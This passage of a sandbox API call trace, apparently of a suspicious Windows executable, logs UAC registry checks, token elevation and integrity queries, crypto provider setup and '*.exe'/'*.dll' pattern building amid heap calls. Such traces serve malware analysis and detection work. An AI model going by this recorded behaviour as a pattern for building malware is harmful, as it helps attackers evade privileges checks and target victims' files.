Flags=0x0, BaseAddress=0x38c168) returned 1 [0028.201] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d218) returned 1 [0028.201] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c1b0) returned 1 [0028.202] RegQueryValueExA (in: hKey=0x34, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0028.202] RegQueryValueExA (in: hKey=0x34, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18fb9c, lpData=0x38c480, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x38c480*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0028.202] RegCloseKey (hKey=0x34) returned 0x0 [0028.202] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc14 | out: TokenHandle=0x18fc14*=0x34) returned 1 [0028.202] GetTokenInformation (in: TokenHandle=0x34, TokenInformationClass=0x14, TokenInformation=0x18fc10, TokenInformationLength=0x4, ReturnLength=0x18fc0c | out: TokenInformation=0x18fc10, ReturnLength=0x18fc0c) returned 1 [0028.202] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fc00 | out: TokenHandle=0x18fc00*=0x90) returned 1 [0028.202] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbfc | out: TokenInformation=0x0, ReturnLength=0x18fbfc) returned 0 [0028.202] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c5a0 [0028.202] GetTokenInformation (in: TokenHandle=0x90, TokenInformationClass=0x19, TokenInformation=0x38c5a0, TokenInformationLength=0x14, ReturnLength=0x18fbfc | out: TokenInformation=0x38c5a0, ReturnLength=0x18fbfc) returned 1 [0028.202] GetSidSubAuthorityCount (pSid=0x38c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x38c5a9 [0028.202] GetSidSubAuthority (pSid=0x38c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x38c5b0 [0028.202] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c5a0) returned 1 [0028.202] NtClose (Handle=0x90) returned 0x0 [0028.202] GetSystemInfo (in: lpSystemInfo=0x18fd48 | out: lpSystemInfo=0x18fd48*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0028.203] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x6c) returned 0x38b860 [0028.203] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c5a0 [0028.203] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x90 [0028.203] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c480 [0028.203] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c438 [0028.203] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c558 [0028.203] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c510 [0028.203] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x5000) returned 0x1d90048 [0028.204] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c4c8 [0028.204] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c4c8) returned 1 [0028.204] CryptAcquireContextW (in: phProv=0x18fd5c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fd5c*=0x8adb68) returned 1 [0028.391] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d90048) returned 1 [0028.391] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38b8d8 [0028.391] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38b960 [0028.391] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c4c8 [0028.391] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38b9e8 [0028.391] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38ba70 [0028.391] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c3f0 [0028.391] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38baf8 [0028.391] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c3a8 [0028.391] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x5000) returned 0x1d90048 [0028.391] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c360 [0028.391] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c360) returned 1 [0028.391] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0028.399] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d90048) returned 1 [0028.399] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x8aaf50, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0028.399] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c360 [0028.399] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xdc [0028.399] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c360) returned 1 [0028.399] GetLastError () returned 0x0 [0028.399] LocalFree (hMem=0x8aaf50) returned 0x0 [0028.399] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c360 [0028.399] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x5000) returned 0x1d90048 [0028.399] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c318 [0028.399] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c318) returned 1 [0028.399] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0028.400] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d90048) returned 1 [0028.400] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x8aaf50, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0028.400] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c318 [0028.400] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xe0 [0028.400] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c318) returned 1 [0028.400] GetLastError () returned 0x0 [0028.400] LocalFree (hMem=0x8aaf50) returned 0x0 [0028.400] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c318 [0028.400] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x5000) returned 0x1d90048 [0028.400] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c2d0 [0028.400] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c2d0) returned 1 [0028.400] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0028.401] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d90048) returned 1 [0028.401] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x8aaf50, lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10 | out: lpbSaclPresent=0x18fd10, pSacl=0x18fd64, lpbSaclDefaulted=0x18fd10) returned 1 [0028.401] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c2d0 [0028.401] CreateEventA (lpEventAttributes=0x18fd58, bManualReset=1, bInitialState=0, lpName="") returned 0xe4 [0028.401] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c2d0) returned 1 [0028.401] GetLastError () returned 0x0 [0028.401] LocalFree (hMem=0x8aaf50) returned 0x0 [0028.401] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2800) returned 0x1d90048 [0028.401] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38bb80 [0028.401] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c2d0 [0028.401] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0028.401] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2800) returned 0x1d92850 [0028.401] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.401] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.401] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d5e8 [0028.401] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2d8 [0028.401] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.401] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1f8 [0028.401] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c1f8) returned 1 [0028.401] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.401] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2d8) returned 1 [0028.401] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d5e8) returned 1 [0028.401] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0028.401] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2800) returned 0x1d92850 [0028.401] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.402] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d5e8 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2d8 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1f8 [0028.402] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2c8 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d600 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2b8 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1b0 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2a8 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c168 [0028.402] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c1f8) returned 1 [0028.402] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2d8) returned 1 [0028.402] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.402] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2c8) returned 1 [0028.402] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d5e8) returned 1 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.402] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.402] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d5e8 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2c8 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2d8 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1f8 [0028.402] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c1b0) returned 1 [0028.402] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2b8) returned 1 [0028.402] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c168) returned 1 [0028.402] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2a8) returned 1 [0028.402] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d600) returned 1 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d600 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2a8 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c168 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2b8 [0028.402] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1b0 [0028.403] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.403] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2c8) returned 1 [0028.403] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c1f8) returned 1 [0028.403] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2d8) returned 1 [0028.403] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d5e8) returned 1 [0028.403] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d5e8 [0028.403] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2d8 [0028.403] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1f8 [0028.403] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2c8 [0028.403] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.403] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c168) returned 1 [0028.403] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2a8) returned 1 [0028.403] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c1b0) returned 1 [0028.403] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2b8) returned 1 [0028.403] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d600) returned 1 [0028.403] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0028.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0028.403] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38d9d0 [0028.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c1f8, cbMultiByte=5, lpWideCharStr=0x38d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0028.403] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38da58 [0028.403] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d9d0) returned 1 [0028.403] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d600 [0028.403] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2b8 [0028.403] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38d9d0 [0028.403] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38da58) returned 1 [0028.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0028.403] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38da58 [0028.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c288, cbMultiByte=5, lpWideCharStr=0x38da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0028.403] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38dae0 [0028.403] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38da58) returned 1 [0028.403] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2a8 [0028.403] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38da58 [0028.403] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38dae0) returned 1 [0028.403] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c1f8) returned 1 [0028.403] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2d8) returned 1 [0028.404] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.404] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2c8) returned 1 [0028.404] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d5e8) returned 1 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2800) returned 0x1d92850 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.404] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d5e8 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2c8 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1f8 [0028.404] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2d8 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1b0 [0028.404] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d298 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c168 [0028.404] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d288 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.404] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x20) returned 0x38bc08 [0028.404] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d5e8) returned 1 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d278 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0028.404] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d268 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.404] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.404] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d258 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x20) returned 0x1d95058 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d248 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c5e8 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d238 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c630 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d228 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c678 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d218 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c6c0 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d208 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c708 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d1e8 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c750 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d1f8 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c798 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c1f8) returned 1 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2c8) returned 1 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c1b0) returned 1 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d2d8) returned 1 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c168) returned 1 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d298) returned 1 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d288) returned 1 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d278) returned 1 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c0d8) returned 1 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d268) returned 1 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d258) returned 1 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bc08) returned 1 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.405] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.405] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.406] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.406] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.406] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.406] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d5e8 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d258 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d268 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d278 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d288 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x20) returned 0x38bc08 [0028.406] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d5e8) returned 1 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d298 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c168 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2d8 [0028.406] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c1b0 [0028.406] RtlAllocateHeap 